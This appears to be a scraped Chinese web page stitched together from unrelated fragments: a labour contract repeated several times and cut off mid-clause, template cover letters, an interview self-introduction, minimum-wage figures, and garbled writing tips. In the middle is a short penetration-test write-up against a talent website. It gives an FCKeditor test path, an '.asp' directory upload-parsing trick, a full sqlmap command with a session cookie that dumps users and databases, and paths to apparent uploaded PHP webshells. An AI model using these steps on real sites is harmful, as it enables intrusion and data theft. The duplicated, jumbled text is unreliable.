3. 如果乙方违反甲方的规章制度、工作程序、未达到工作岗位要求或对工厂(或他人)造成伤害,则甲方可对乙方进行纪律处分。情节严重时,甲方可根据国家有关规定、甲方的有关规章制度和本合同有关条款解除本合同。
4. 乙方必须签署并遵守甲方的“行为准则“。
应届毕业生或无相应工作经历的员工,其在工厂的服务期限至少两年。如果此类员工在合同期未满时要解除劳动合同,则须向工厂支付赔偿费,一年为人民币壹仟元。
2. 在合同期内,如甲方出资为乙方提供培训/教育机会,则甲方有权根据培训费用确定培训后乙方须为甲方服务的年限。乙方则有义务认真履行此服务年限。其服务期(自培训结束后之日起算)根据培训/教育费的不同规定如下:
3. 如果乙方享受了培训或教育而以因本合同第九条第1款或第十条第1款未履行完服务年限的,在离职时乙方必须按比例向甲方付培训费用。
1. 甲方必须严格执行国家安全生产的相关法律法规,并提供符合国家规定的劳动安全卫生条件和必要的劳动防护用品,并有效防治职业病。
2. 甲方必须执行国家关于女职工特殊保护的规定。
3. 乙方必须严格遵守安全操作规程,并有权拒绝违章指挥及强令冒险作业。
1. 乙方同意以最严格的保密形式保守涉及甲方的生产管理、技术、市场营销、财务的信息、或任何与甲方有来往的业务单位信息、或与甲方产品、工艺、经营及服务有关的信息。乙方同意未经甲方厂长书面许可不向任何人透露此类信息,不得以任何方式或使用任何此类信息与甲方竞争。乙方特别同意该义务将在本合同终止后二年内有效。
2. 在合同履行期内,乙方不得到甲方以外的任何企业或经营业主处从事第二职业。如有发现,甲方有权按照本合同第九条第1款处理。
3. 本合同终止后,乙方应立即归还所有和工作相关的资料,例如但不只限于:图纸、备忘录、用户名单、名片及受雇于工厂期间收集的他人名片、钥匙、电脑光盘、方案、财务报告、市场营销资料等。
1.乙方有下列情况之一的,甲方无须发出进一步通知则可随时与乙方解除本合同,并不给予经济补偿;
1.1 在试用期内被证明不符合录用条件的,或不符合聘用要求的;
1.2 严重违反本合同条款或甲方规章制度的;
1.3 严重失职,营私舞弊,对甲方利益造成重大损害的;
1.4 被劳动教养或被追究刑事责任的;
1.5 违反本合同第八条保密及非竞争条款的;
1.6 隐瞒事实,与其他经济组织或与前雇主之间存在劳动关系。
1.7 犯了员工手册上所述的任何重大过错。
2.乙方有下列情况之一的,甲方须提前三十日书面通知乙方或以支付乙方一个月工资的形式解除本合同,同时根据相关法规给予乙方相应的经济补偿:
2.1 劳动合同订立时所依据的客观情况发生重大变化,致使原劳动合同无法履行,经当事人协商不能就变更劳动合同达成协议的;
2.2 乙方患病或非因工负伤,在规定的医疗期满后不能从事原工作,也不能从事由甲方另行安排的工作的;
2.3甲方因濒临破产进行法定整顿期间或生产经营状况发生严重困难,确实需要裁减人员的;
1. 乙方须提前三十日书面通知甲方或以支付甲方一个月工资的形式解除本合同。在这种情况下,甲方无义务就本合同的终止赔偿员工。
2. 有下列情况之一的,乙方有权随时通知甲方解除本合同:
2.1 经国家有关部门确认,甲方劳动安全、卫生条件恶劣,严重危害乙方身体健康的;
2.2 用人单位以暴力、威胁或者非法限制人身自由的手段强迫劳动的;
2.3 甲方未按本合同的约定支付劳动报酬的;
1. 本合同期满或国家法律、法规规定的其他终止劳动合同的情况出现,本合同即行终止,无需预先通知。
2. 本合同期满时,在甲乙双方自愿的基础上应及时办理续签劳动合同手续。
乙方同意将甲方制定的厂规、厂纪作为本合同的附件,并自愿遵照执行。
因履行本合同发生争议,甲乙双方同意首先协商解决;不能协商解决的,任何一方有权向当地劳动仲裁委员会申请仲裁。对仲裁裁决有异议,任何一方可向人民法院提起诉讼。
1. 本合同经双方签并经当地劳动部门鉴证后自本合同起始日起生效,只有通过双方同意方可修改。
2. 甲乙双方以往签订的任何合同或协议与本合同相抵触的,一律以本合同为准。
3. 本合同未尽事宜依照国家、省、市有关法律、法规执行。
4. 本合同一式二份,甲乙双方各执一份。
鉴证机构(签章):
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很高兴有机会能够参加这次面试,我叫xxx毕业于xxx师范大学小学教育英语专业。
毕业后一向从事小学英语教育工作。致力于小学英语教学实践并较有成效。在工作中经过自我的努力和各学科教师的帮忙,逐步构成了自我的教学风格‘师生相处和谐,“情知互动,寓教寓乐”的教学风格,依托共鸣的师生情感,利用英语的独特魅力和特性吸引、感染学生自觉自愿、主动进取并富有创造性地在无拘无束、简便愉快的氛围中参与英语活动。在英语活动中鼓励学生张扬个性,发挥潜能,培养引导激发学生对英语的兴趣。
自从教以来,我连续数年在全县优质课和优秀论文评选活动中获奖,XX年我被评为县级骨干教师今年暑假,我又在xx高等师范专科学校参加了省级骨干教师的培训,聆听名家教诲,和来自全省各地教师交流教学经验,从中让我看到了自我的渺小和不足,在以后的工作中,我将虚心学习,进取。“路漫漫其修远兮,吾将上下而求索。”多年的教育教学生涯和生活的磨练,我已逐渐褪去了稚气和青涩,变得成熟而自信。我也在不断的工作中体会到教师这个职业是一个需要更多职责心和细心去完成也真正体会到了“学高为师,身正为范。”的道理我认为我完全有本事胜任教育教学工作,并且我也真心的热爱教师这一职业。如果我有机会能够加入贵校,成为其中的一员,我定不会让在座的各位评委教师失望!
做到了学高为师,身正为范为学生树立榜样,勇当教育创新的探索者、素质教育的实践者最终,我再次感激各位评委教师给我这个机会,多谢!
敬爱的领导:
您好!我叫xx,非常感谢您在百忙之中审阅这份求职材料。谢谢!
抱着奉献于工作的极大热诚,同时也为了使自己在人才济济的竞争中获得一份宝贵的机会,特地递上我的自荐,真心的希望能得到您赏识。
我是xx大学20xx年应届毕业生,所学专业是汽车检测与维修。在大学的专业学习中,我认真学习,刻苦专研,取得了良好的成绩,每个学期均获得校级奖学金。现在xx大学考取第二学历,经济法专业。
从大学期间的实习到毕业后的工作,我有两年在汽车4s店售后工作的实践和经验。在此期间,我接触过一汽大众、广州本田、天津一汽、一汽解放轻卡等品牌车型。也做过机修员工、钣喷完检员、售后服务顾问、人力资源专员等职务。在职期间,能够很好的完成本职工作,听从领导安排,保质保量完成工作,先后三次组织、参与服务站开展的全车检查活动。
我不敢自诩自己是一个天才,但我相信塌实肯干好学上进的我能够胜任适合的工作。在竞争日益激烈的现今社会,我对我自己很有信心,只要能给我个机会,我会全力以赴运用我所有的能力完成我的工作,并在其中不断的积累经验、充实自己,我立志成为一名新世纪复合型人才。
正是感到社会竞争的压力,所以现正在进修企业人力资源管理师专业,有信心通过即将开始的国家资格认证。
虽然现实社会竞争激烈,但我依然信心百倍,因为孜孜不倦的求学历程让我具备新时代大学生的良好素质和适应社会竞争的综合能力,瞬息万变的社会环境给我尽情施展才能提供广阔的舞台。
大浪淘沙,搏为本,我将以八分的学识、十分的信心、十二分的勤奋去努力工作。
如您能够给我一段时间,一份信任,一个机会发挥我的潜力,我将全力以赴。有充分的信心担当起每一份责任!
此致
敬礼!
xxxx
xxxx年xx月xx日
从浙江省人社厅了解到,11月起,浙江省一、二、三、四类地区月最低工资标准分别调整为1860元、1660元、1530元和1380元。比上年分别增长12.7%、12.9%、13.3%和13.1%。
二类地区:萧山区、富阳市 、余姚市、慈溪市、奉化市、宁海县、象山县、乐清市、瑞安市、湖州市区、绍兴市区、诸暨市、上虞市、嵊州市、绍兴县、新昌县、金华市区、义乌市、永康市、东阳市、台州市区、临海市、温岭市、玉环县
三类地区:淳安县、临安市、建德市、永嘉县、洞头县、德清县、长兴县、安吉县、兰溪市、浦江县、武义县、舟山市市区、岱山县、嵊泗县、天台县、仙居县、三门县、衢州市、江山市、龙游县、常山县、开化县、丽水市区、青田县、缙云县。
四类地区:平阳县、苍南县、文成县、泰顺县、磐安县、龙泉市、云和县、景宁县、松阳县、遂昌县、庆元县、嘉兴市区、海宁市、平湖市、桐乡市、嘉善县、海盐县
尊敬的公司领导:
您好!顷阅星期四XXX报,获悉贵公司招聘人才。本人曾担任新世界产品公司销售部高级职员四年之久,自信有充分工作经验,可担任贵公司所招聘的职务,特拟此求职信,以下是我的自我介绍。
本人自二零零五年开始,一直担任售货业务以及函件的撰写工作。在工作期间,除正式业务范围外,与各地区客户颇有来往,并利用公余时间,学会了很多有关商业问题的处理。
在新世界公司任职前,我曾在长兄会计公司担任过秘书工作。在任职期间,学会很多有关会计名词及会计作业程序。
本人现年二十八岁,未婚,二零零四年毕业于华仁书院,我希望有机会充分利用自己工作能力,从事更大范围工作之需要,这是我急于离开现职的主要原因。本人现任职的公司老板,对我的工作雄心颇为赞许,因此,愿协助我另谋他职。
如果方便的话,我愿亲赴贵公司办公室晋见阁下,以便详细说明。附信附个人求职简历,期待与您的面谈。
此致
敬礼!
求职人:
20xx年X月X日
根据《中华人民共和国劳动法》以及有关法律、法规的规定,甲乙双方在平等自愿、协商一致的基础上,签订本合同。
本合同有效期限自3月23日至3月23日止。 其中,试用期自3月23日至6月23日止。试用期内,如乙方未达到甲方的聘用条件则甲方有权予以辞退,本合同自行解除。
乙方需取得原雇主彻底终止雇用的证明,否则工厂有权重新考虑有关聘用的乙方开始上班的日期。工厂没有责任为乙方原来的工作支付任何赔偿。
1.乙方同意按甲方需要从事 网络维护与办公文员岗位,并按照甲方的合法要求,按时完成规定的工作数量,达到规定的质量标准。
2.甲方可以根据经营需要以及乙方的表现或专长调整乙方的工作内容或工作岗位,乙方应服从调整并尽其最大努力勤奋地履行其职责。
3.乙方应自觉遵守国家的法律、法规和甲方的各项规章制度。
4.乙方应不断学习技术业务和科学文化知识,不断提高工作能力。
1. 甲方应严格执行国家规定的工作时间和休息休假制度。
2. 甲方可以根据经营需要合理要求乙方延长工作时间或在假日期间加班工作,但不得违反国家劳动法律、法规的有关规定,并按国家规定支付加班加点工资。
3. 乙方每日工作时间为8小时,不含吃饭和休息时间。
4. 乙方有权享有我国法定节假日、年假等假期,具体参见甲方的规章制度。
第四条 劳动报酬、社会保险和福利。
1.甲方应在每月10日以货币形式将劳动报酬发放给乙方。
2.试用期内乙方每月税前工资为人民币 ___ 元。试用期结束时如已满足工厂对其岗位的要求,则试用期后乙方每月税前工资为人民币 ___ 元。
3.乙方须自行负担其所得薪酬应缴纳的个人所得税、社会保险、医疗保险、失业保险等个人承担部分及对乙方报酬所征收的任何其他收费或税金。甲方将从乙方薪资中扣除其个人承担的各项费用后代为缴交给有关部门。
4.乙方必须提供合法的手续和相关资料,依法享受国家和省规定的各项社会保险和福利待遇。甲乙双方应按照国家和省有关规定参加社会保险、医疗保险、失业保险等,并及时足额缴纳社会保险费。乙方有权向甲方查询社会保险及福利费的缴纳情况。
5.如果发生本合同第2条第2款的情况,则甲方有权对乙方的税前工资作相应的调整。
1. 甲方有权根据国家法律、有关劳动人事的劳动法规制定相应的规章制度。
2. 乙方必须遵守符合国家规定的各项工厂规章制度。
3. 如果乙方违反甲方的规章制度、工作程序、未达到工作岗位要求或对工厂(或他人)造成伤害,则甲方可对乙方进行纪律处分。情节严重时,甲方可根据国家有关规定、甲方的有关规章制度和本合同有关条款解除本合同。
4. 乙方必须签署并遵守甲方的“行为准则“。
应届毕业生或无相应工作经历的员工,其在工厂的服务期限至少两年。如果此类员工在合同期未满时要解除劳动合同,则须向工厂支付赔偿费,一年为人民币壹仟元。
2. 在合同期内,如甲方出资为乙方提供培训/教育机会,则甲方有权根据培训费用确定培训后乙方须为甲方服务的年限。乙方则有义务认真履行此服务年限。其服务期(自培训结束后之日起算)根据培训/教育费的不同规定如下:
3. 如果乙方享受了培训或教育而以因本合同第九条第1款或第十条第1款未履行完服务年限的,在离职时乙方必须按比例向甲方付培训费用。
1. 甲方必须严格执行国家安全生产的相关法律法规,并提供符合国家规定的劳动安全卫生条件和必要的劳动防护用品,并有效防治职业病。
2. 甲方必须执行国家关于女职工特殊保护的规定。
3. 乙方必须严格遵守安全操作规程,并有权拒绝违章指挥及强令冒险作业。
1. 乙方同意以最严格的保密形式保守涉及甲方的生产管理、技术、市场营销、财务的信息、或任何与甲方有来往的业务单位信息、或与甲方产品、工艺、经营及服务有关的信息。乙方同意未经甲方厂长书面许可不向任何人透露此类信息,不得以任何方式或使用任何此类信息与甲方竞争。乙方特别同意该义务将在本合同终止后二年内有效。
2. 在合同履行期内,乙方不得到甲方以外的任何企业或经营业主处从事第二职业。如有发现,甲方有权按照本合同第九条第1款处理。
3. 本合同终止后,乙方应立即归还所有和工作相关的资料,例如但不只限于:图纸、备忘录、用户名单、名片及受雇于工厂期间收集的他人名片、钥匙、电脑光盘、方案、财务报告、市场营销资料等。
1.乙方有下列情况之一的,甲方无须发出进一步通知则可随时与乙方解除本合同,并不给予经济补偿;
1.1 在试用期内被证明不符合录用条件的,或不符合聘用要求的;
1.2 严重违反本合同条款或甲方规章制度的;
1.3 严重失职,营私舞弊,对甲方利益造成重大损害的;
1.4 被劳动教养或被追究刑事责任的;
1.5 违反本合同第八条保密及非竞争条款的;
1.6 隐瞒事实,与其他经济组织或与前雇主之间存在劳动关系。
1.7 犯了员工手册上所述的任何重大过错。
2.乙方有下列情况之一的,甲方须提前三十日书面通知乙方或以支付乙方一个月工资的形式解除本合同,同时根据相关法规给予乙方相应的经济补偿:
2.1 劳动合同订立时所依据的客观情况发生重大变化,致使原劳动合同无法履行,经当事人协商不能就变更劳动合同达成协议的;
2.2 乙方患病或非因工负伤,在规定的医疗期满后不能从事原工作,也不能从事由甲方另行安排的工作的;
2.3甲方因濒临破产进行法定整顿期间或生产经营状况发生严重困难,确实需要裁减人员的;
1. 乙方须提前三十日书面通知甲方或以支付甲方一个月工资的形式解除本合同。在这种情况下,甲方无义务就本合同的终止赔偿员工。
2. 有下列情况之一的,乙方有权随时通知甲方解除本合同:
2.1 经国家有关部门确认,甲方劳动安全、卫生条件恶劣,严重危害乙方身体健康的;
2.2 用人单位以暴力、威胁或者非法限制人身自由的手段强迫劳动的;
2.3 甲方未按本合同的约定支付劳动报酬的;
1. 本合同期满或国家法律、法规规定的其他终止劳动合同的情况出现,本合同即行终止,无需预先通知。
2. 本合同期满时,在甲乙双方自愿的基础上应及时办理续签劳动合同手续。
乙方同意将甲方制定的厂规、厂纪作为本合同的附件,并自愿遵照执行。
因履行本合同发生争议,甲乙双方同意首先协商解决;不能协商解决的,任何一方有权向当地劳动仲裁委员会申请仲裁。对仲裁裁决有异议,任何一方可向人民法院提起诉讼。
1. 本合同经双方签并经当地劳动部门鉴证后自本合同起始日起生效,只有通过双方同意方可修改。
2. 甲乙双方以往签订的任何合同或协议与本合同相抵触的,一律以本合同为准。
3. 本合同未尽事宜依照国家、省、市有关法律、法规执行。
4. 本合同一式二份,甲乙双方各执一份。
鉴证机构(签章):
尊敬的领导:
您好!
非常感谢您在百忙之中审阅我的自荐书,谢谢!我叫xxx,是xxx大学xx级汉语言文学专业的一名即将毕业的学生。经过数载的潜修、漫长的苦练,我终于将以一名合格的大学专科毕业生的身份站在时代的阵前,接受着您的挑选,并时刻准备着将自己的所学奉献给您我共同的事业。
我不敢自诩自己是个人才,但我相信我的拼搏精神和进取精神。在大学三年的求学征途中,我学习认真、刻苦钻研取得良好成绩。通过母校的培养和自身的努力,我不仅具备了中文专业所要求的听、说、读、写等基本能力,而且具备了师范专业所要求的基本素质,懂得运用心理学、教育学的基本原理开展班主任教学活动;在学好专业知识的同时,我还充分地利用课余时间学了微机课程,并且还相应取得了计算机应用基础(word、excel、powerpoint)证书。同时,社会激烈的竞争使我深知全面发展的重要性,本着向复合型人才发展的原则,我广泛阅读了各种有益书籍,知识结构日趋完善。同时,丰富多彩的社会生活和井然有序而又竞争激烈的学习气氛,使我各方面得到不同程度的锻炼和考验。大量的社会实践使我的能力得到了很高的提高,也增强了吃苦耐劳的品质,培养了我的良好的心理素质和高度的责任感,树立了我忠职守纪的工作观念。“一份耕耘一份收获”一直是我执着的观念。
或许,我不是你的最佳人选,但是,我会不断的找出自己的差距,并自我完善。如果您能给我一次机会,我将更加严格要求自己,以全新的面貌迎接灿烂的明天。我恭候您的佳音!
此致
敬礼!
xxx
20xx年xx月xx日
尊敬的领导:
您好!非常感谢您在百忙之中审阅我的求职材料。
我是xxx学校英语系的一名毕业生,即将完成本科学业,真正地步入社会,开始人生新的一段征程,感谢您能翻阅我的自荐书。
上学校后,我便告诉自己:学校不仅仅是学习的地方,更是提升自我之地,一个步入社会的阶梯。学通你的专业,利用它为你的人生开辟道路。于是我以交际英语为方向,首先侧重于打好基础,从听、说、读、写几方面训练基本技能,在达到自如地运用英语的基础上,本人涉猎了英美概况,英美文学,语言学等相关专业知识,并于大二时通过了英语专业四级考试,并在今年三月通过专业八级测试。
深知语言交际作用地重要性,我特别注重学以致用。除了积极地,有选择地参加院校组织的活动外,我还时常在课外辅导班做兼职、家教等,让我有了将所学理论负于实践的机会,并结交了很多朋友,丰富了阅历,而且感到生活更加充实。
我没有任何引人注目地特长,但我爱好广泛(音乐、吉他、写作、健美操等);善于交际与沟通,有极强的责任感,能和同伴很好的合作。热爱教育事业,喜欢教师职务,学习工作态度严谨,不断完善自己的教育理念和方法,愿以一颗真诚的心,在孩子们的成长道路上做一盏温暖的引路灯。
学校四年里,有收获也有遗憾,但欣慰的是,这些经历使我学会了冷静,执着,变得愈加独立,坚韧;学会在人生的坐标上寻找适合自我的位置,并不断调整与完善自我;更让我意识到要勇于在人生的不同阶段迎接新的挑战。因此当又一次走到人生地十字路口时,我诚挚地希望能加入您们这群充满生命力,竞争力与挑战力地精英当中,在各方英才的领导与帮助下,取得更大的进步与成长。祝福每一位为教育事业服务的老师与领导!
此致
敬礼!
求职者:
20xx年xx月xx日
尊敬的领导:
您好!
非常感谢您在百忙之中审阅我的求职信,谢谢!我叫×××,是×××大学××级汉语言文学专业的一名即将毕业的学生。经过数载的潜修、漫长的苦练,我终于将以一名合格的大学专科毕业生的身份站在时代的阵前,接受着您的挑选,并时刻准备着将自己的所学奉献给您我共同的事业。
我不敢自诩自己是个人才,但我相信我的拼搏精神和进取精神。在大学三年的求学征途中,我学习认真、刻苦钻研取得良好成绩。通过母校的培养和自身的努力,我不仅具备了中文专业所要求的听、说、读、写等基本能力,而且具备了师范专业所要求的基本素质,懂得运用心理学、教育学的基本原理开展班主任教学活动;在学好专业知识的同时,我还充分地利用课余时间学了微机课程,并且还相应取得了计算机应用基础(word、excel、powerpoint)证书。同时,社会激烈的竞争使我深知全面发展的重要性,本着向复合型人才发展的原则,我广泛阅读了各种有益书籍,知识结构日趋完善。同时,丰富多彩的社会生活和井然有序而又竞争激烈的学习气氛,使我各方面得到不同程度的锻炼和考验。大量的社会实践使我的能力得到了很高的提高,也增强了吃苦耐劳的品质,培养了我的良好的心理素质和高度的责任感,树立了我忠职守纪的工作观念。“一份耕耘一份收获”一直是我执着的观念。
或许,我不是你的人选,但是,我会不断的找出自己的差距,并自我完善。如果您能给我一次机会,我将更加严格要求自己,以全新的面貌迎接灿烂的明天。我恭候您的佳音!
此致
敬礼!
自荐人:×××
×年×月×日
求职信可以展现出您的长处,能面试的机会。能体现个人聪明才智的求职信,才能帮助你地谋求到一份理想的工作。
写作思路 求职信交际的,它可以反映出人的专业,从用人的角度考虑问题是使求职信产生的方法。求职者应该换位思考的方法,分析用人的要求,的需要,然后有性地向的背景资料,出独到的智慧与才干,使从你的身上看到希望,并对你有利的决定。
写作原则 求职的目的来布局谋篇,把的内容篇首,对相同或相似的内容归类组合,段与段之间按逻辑顺序衔接,从阅信人的角度组织内容。信件要具个人、亲切且能体现出专业,意思表达要直接、简洁,书写要清晰、简单明了,内容、语气、用词的选择和对希望的表达要,显示出你是乐观、有责任心和有力的人。
求职信的诸多不宜 不宜太长,一封求职信多于一页。不宜有文字上的错讹,切忌有错字、别字、病句及文理欠通顺的。不宜是履历的翻版,应与履历分开,自成一体。
写求职信要实事求是的原则,用成就和事实代替华而不实的修饰语,恰如其分地介绍。要,某一的某一职位而求职,会。文字要顺畅,字迹要工整,求职信是用人对求职人的一次非正式的考核,用人可以信件求职者的语言修辞和文字表达能力,可以说求职信是用人对求职者印象的凭证。
求职信的写法 写明你要申请的职位和你是如何得知该职位的招聘信息的。说明你如何公司的要求,陈述个人技能和个性特征。表明你希望迅速回音,并标明与你的。感谢对方阅读并考虑你的应聘。每封求职信应以适合雇主而精心设计,以此表明你明白该公司的需要。求职信还应包括与你所的及解决的问题的事例,事例与你所申请的工作类型。求职信应是寄给有职位的某一特定的人, 使用高档纸书写,仔细校对,打字或语法的错误,要自存副本档案。
这是一篇有关“it人才求职信如何写”的网络文章希望对大家有所帮助,供你参考,希望能够帮助到大家。信息爆炸时代文档写作的形式和内容必须不断创新,写作诀窍之一就是参阅范文,借鉴范文的构思能够让自己更加自如地驾驭写作工具。
敬爱的领导:
您好!
首先衷心感谢您在百忙之中阅读我的自荐材料!
我叫×××,是×××学院旅游与酒店管理专业的学生,×××年毕业。虽刚踏出校园,但在人才济济的大流中,面对新的考验和抉择,我不能沉默,更不能退缩,因此我愿意走入社会。
在将近三年的大学生活中,我积极进取,注重自身修养,心态平和,待人热情,能坚持自己的理想、信念。我所具备的良好人际沟通能力、良好的服务意识、对待工作的专注和热诚是我的优势。我不仅学好了旅游与酒店管理专业的专业课程,在实践方面也有一定的了解,曾利用节假休息期间多次实习。我虽平凡但不会平庸!
尊敬的领导,相信您伯乐的慧眼,相信我的实力,我有做好这份工作需要具备的极强的责任心和一颗为顾客真诚服务的心,我也有从基层做起的决心,我愿意同贵公司共同发展、进步。“给我一个舞台,送你一台好戏”这是我的,也是我的决心。最后,祝愿贵公司蒸蒸日上,祝愿您事事顺心!如有机会与您面谈,将十分感谢此致
敬礼!
求职者:×××
×年×月×日
尊敬的领导:
您好!怀着一份诚挚的心情写下这封信,请您耐心看完。拙笔写不出华丽的语言,只希望朴实真诚能换来奇迹。希望您能在百忙之中看完这份简短的求职信。
我是XXXX工业技术学院的一名学生,即将毕业。根据贵公司的求职招聘要求,我自觉有能力胜任贵公司的职务,希望贵公司能够考核并给予我一个展现自己才华的机会。现将自己的情况简要介绍如下:
面对新世纪的就业竞争,作为一名毕业生,我深知如何去面对挑战,那就是时刻保持不骄不躁的学习态度,运用科学的发展观,求真务实,开拓进取,积极开辟新的途径,探索新的方法,创造新的经验,不断充实自己,完善自己,使我们的思想和行动能及时跟上现代科技高速发展的潮流,以适应新形势下工作的需要。
尽管我还没有足够的工作经验,但是我满腔热情和信心,加之扎实的理论知识和现代化的工作技能。请相信,我将为贵公司献出自己的光和热。我会踏踏实实的做好属于自己的一份工作,竭尽全力在工作中取得很好的成绩。
希望能成为贵公司的一员,与众精英并肩奋斗,实现自己的价值。我不敢断言自己是最优秀的,但必将是最努力的。我坚信,在一个精诚团结、锐意进取的集体中,在领导的知道和提携下,初谙世事的学子定将兵可成将,木可成材。
愿成长的道路上有你的关怀和培养。
此致
敬礼!
求职人:
很高兴有机会能够参加这次面试,我叫xxx毕业于xxx师范大学小学教育英语专业。
毕业后一向从事小学英语教育工作。致力于小学英语教学实践并较有成效。在工作中经过自我的努力和各学科教师的帮忙,逐步构成了自我的教学风格‘师生相处和谐,“情知互动,寓教寓乐”的教学风格,依托共鸣的师生情感,利用英语的独特魅力和特性吸引、感染学生自觉自愿、主动进取并富有创造性地在无拘无束、简便愉快的氛围中参与英语活动。在英语活动中鼓励学生张扬个性,发挥潜能,培养引导激发学生对英语的兴趣。
自从教以来,我连续数年在全县优质课和优秀论文评选活动中获奖,XX年我被评为县级骨干教师今年暑假,我又在xx高等师范专科学校参加了省级骨干教师的培训,聆听名家教诲,和来自全省各地教师交流教学经验,从中让我看到了自我的渺小和不足,在以后的工作中,我将虚心学习,进取。“路漫漫其修远兮,吾将上下而求索。”多年的教育教学生涯和生活的磨练,我已逐渐褪去了稚气和青涩,变得成熟而自信。我也在不断的工作中体会到教师这个职业是一个需要更多职责心和细心去完成也真正体会到了“学高为师,身正为范。”的道理我认为我完全有本事胜任教育教学工作,并且我也真心的热爱教师这一职业。如果我有机会能够加入贵校,成为其中的一员,我定不会让在座的各位评委教师失望!
做到了学高为师,身正为范为学生树立榜样,勇当教育创新的探索者、素质教育的实践者最终,我再次感激各位评委教师给我这个机会,多谢!
0x1 前言:实在不知道要写什么文章了,现在的WEB渗透来来去去就那几种手法。所以就拿最近的一个项目写文章好了。
由于XX人才网被黑,所以找我们公司进行渗透测试。被黑了好几次 漏洞都补的差不多了 渗透难度较大
linux+IIS 9.0环境 这里大家应该会奇怪 linux+IIS 环境? 还是IIS9.0 其实很简单的 所谓的IIS9.0 就是apache 修改的
?ctl=Query&act=File&typeid=455
plus/FCKedit ... nnectors/test.html#
/upfiles/Person//111.asp/40fe81afefd207b403e3c5acd3a0984c.jpg
试用burpsuite的payload尝试各种后缀唯独过滤PHP 。JSP无法执行
python “C:Toolssqlmapguisqlmap.py” -v 1 --beep --eta --batch -u “?ctl=Query&act=File&typeid=455” --level=3 --risk=2 --data=“XM=1111&SFZ=1” --cookie=“PHPSESSID=10f9b3c61c2cd1200a6fd28a37942221” --dbms=mysql --technique BEUST --union-cols=1-10 --time-sec=5 --banner --current-user --current-db --is-dba --users --dbs
tell/web_idea.ph ... 540e581f720a2a0.php
了
直接下载不过我们可以判断00f3cf0b74840a2b3540e581f720a2a0.php为文件名
/admin/news/news_mng.php
images/gist/0305145927[0].php
就到这吧就写这么多了 累死了
根据《中华人民共和国劳动法》以及有关法律、法规的规定,甲乙双方在平等自愿、协商一致的基础上,签订本合同。
本合同有效期限自3月23日至3月23日止。 其中,试用期自3月23日至6月23日止。试用期内,如乙方未达到甲方的聘用条件则甲方有权予以辞退,本合同自行解除。
乙方需取得原雇主彻底终止雇用的证明,否则工厂有权重新考虑有关聘用的乙方开始上班的日期。工厂没有责任为乙方原来的工作支付任何赔偿。
1.乙方同意按甲方需要从事 网络维护与办公文员岗位,并按照甲方的合法要求,按时完成规定的工作数量,达到规定的质量标准。
2.甲方可以根据经营需要以及乙方的表现或专长调整乙方的工作内容或工作岗位,乙方应服从调整并尽其最大努力勤奋地履行其职责。
3.乙方应自觉遵守国家的法律、法规和甲方的各项规章制度。
4.乙方应不断学习技术业务和科学文化知识,不断提高工作能力。
1. 甲方应严格执行国家规定的工作时间和休息休假制度。
2. 甲方可以根据经营需要合理要求乙方延长工作时间或在假日期间加班工作,但不得违反国家劳动法律、法规的有关规定,并按国家规定支付加班加点工资。
3. 乙方每日工作时间为8小时,不含吃饭和休息时间。
4. 乙方有权享有我国法定节假日、年假等假期,具体参见甲方的规章制度。
第四条 劳动报酬、社会保险和福利。
1.甲方应在每月10日以货币形式将劳动报酬发放给乙方。
2.试用期内乙方每月税前工资为人民币 ___ 元。试用期结束时如已满足工厂对其岗位的要求,则试用期后乙方每月税前工资为人民币 ___ 元。
3.乙方须自行负担其所得薪酬应缴纳的个人所得税、社会保险、医疗保险、失业保险等个人承担部分及对乙方报酬所征收的任何其他收费或税金。甲方将从乙方薪资中扣除其个人承担的各项费用后代为缴交给有关部门。
4.乙方必须提供合法的手续和相关资料,依法享受国家和省规定的各项社会保险和福利待遇。甲乙双方应按照国家和省有关规定参加社会保险、医疗保险、失业保险等,并及时足额缴纳社会保险费。乙方有权向甲方查询社会保险及福利费的缴纳情况。
5.如果发生本合同第2条第2款的情况,则甲方有权对乙方的税前工资作相应的调整。
1. 甲方有权根据国家法律、有关劳动人事的劳动法规制定相应的规章制度。
2. 乙方必须遵守符合国家规定的各项工厂规章制度。
3. 如果乙方违反甲方的规章制度、工作程序、未达到工作岗位要求或对工厂(或他人)造成伤害,则甲方可对乙方进行纪律处分。情节严重时,甲方可根据国家有关规定、甲方的有关规章制度和本合同有关条款解除本合同。
4. 乙方必须签署并遵守甲方的“行为准则“。
应届毕业生或无相应工作经历的员工,其在工厂的服务期限至少两年。如果此类员工在合同期未满时要解除劳动合同,则须向工厂支付赔偿费,一年为人民币壹仟元。
2. 在合同期内,如甲方出资为乙方提供培训/教育机会,则甲方有权根据培训费用确定培训后乙方须为甲方服务的年限。乙方则有义务认真履行此服务年限。其服务期(自培训结束后之日起算)根据培训/教育费的不同规定如下:
3. 如果乙方享受了培训或教育而以因本合同第九条第1款或第十条第1款未履行完服务年限的,在离职时乙方必须按比例向甲方付培训费用。
1. 甲方必须严格执行国家安全生产的相关法律法规,并提供符合国家规定的劳动安全卫生条件和必要的劳动防护用品,并有效防治职业病。
2. 甲方必须执行国家关于女职工特殊保护的规定。
3. 乙方必须严格遵守安全操作规程,并有权拒绝违章指挥及强令冒险作业。
1. 乙方同意以最严格的保密形式保守涉及甲方的生产管理、技术、市场营销、财务的信息、或任何与甲方有来往的业务单位信息、或与甲方产品、工艺、经营及服务有关的信息。乙方同意未经甲方厂长书面许可不向任何人透露此类信息,不得以任何方式或使用任何此类信息与甲方竞争。乙方特别同意该义务将在本合同终止后二年内有效。
2. 在合同履行期内,乙方不得到甲方以外的任何企业或经营业主处从事第二职业。如有发现,甲方有权按照本合同第九条第1款处理。
3. 本合同终止后,乙方应立即归还所有和工作相关的资料,例如但不只限于:图纸、备忘录、用户名单、名片及受雇于工厂期间收集的他人名片、钥匙、电脑光盘、方案、财务报告、市场营销资料等。
1.乙方有下列情况之一的,甲方无须发出进一步通知则可随时与乙方解除本合同,并不给予经济补偿;
1.1 在试用期内被证明不符合录用条件的,或不符合聘用要求的;
1.2 严重违反本合同条款或甲方规章制度的;
1.3 严重失职,营私舞弊,对甲方利益造成重大损害的;
1.4 被劳动教养或被追究刑事责任的;
1.5 违反本合同第八条保密及非竞争条款的;
1.6 隐瞒事实,与其他经济组织或与前雇主之间存在劳动关系。
1.7 犯了员工手册上所述的任何重大过错。
2.乙方有下列情况之一的,甲方须提前三十日书面通知乙方或以支付乙方一个月工资的形式解除本合同,同时根据相关法规给予乙方相应的经济补偿:
2.1 劳动合同订立时所依据的客观情况发生重大变化,致使原劳动合同无法履行,经当事人协商不能就变更劳动合同达成协议的;
2.2 乙方患病或非因工负伤,在规定的医疗期满后不能从事原工作,也不能从事由甲方另行安排的工作的;
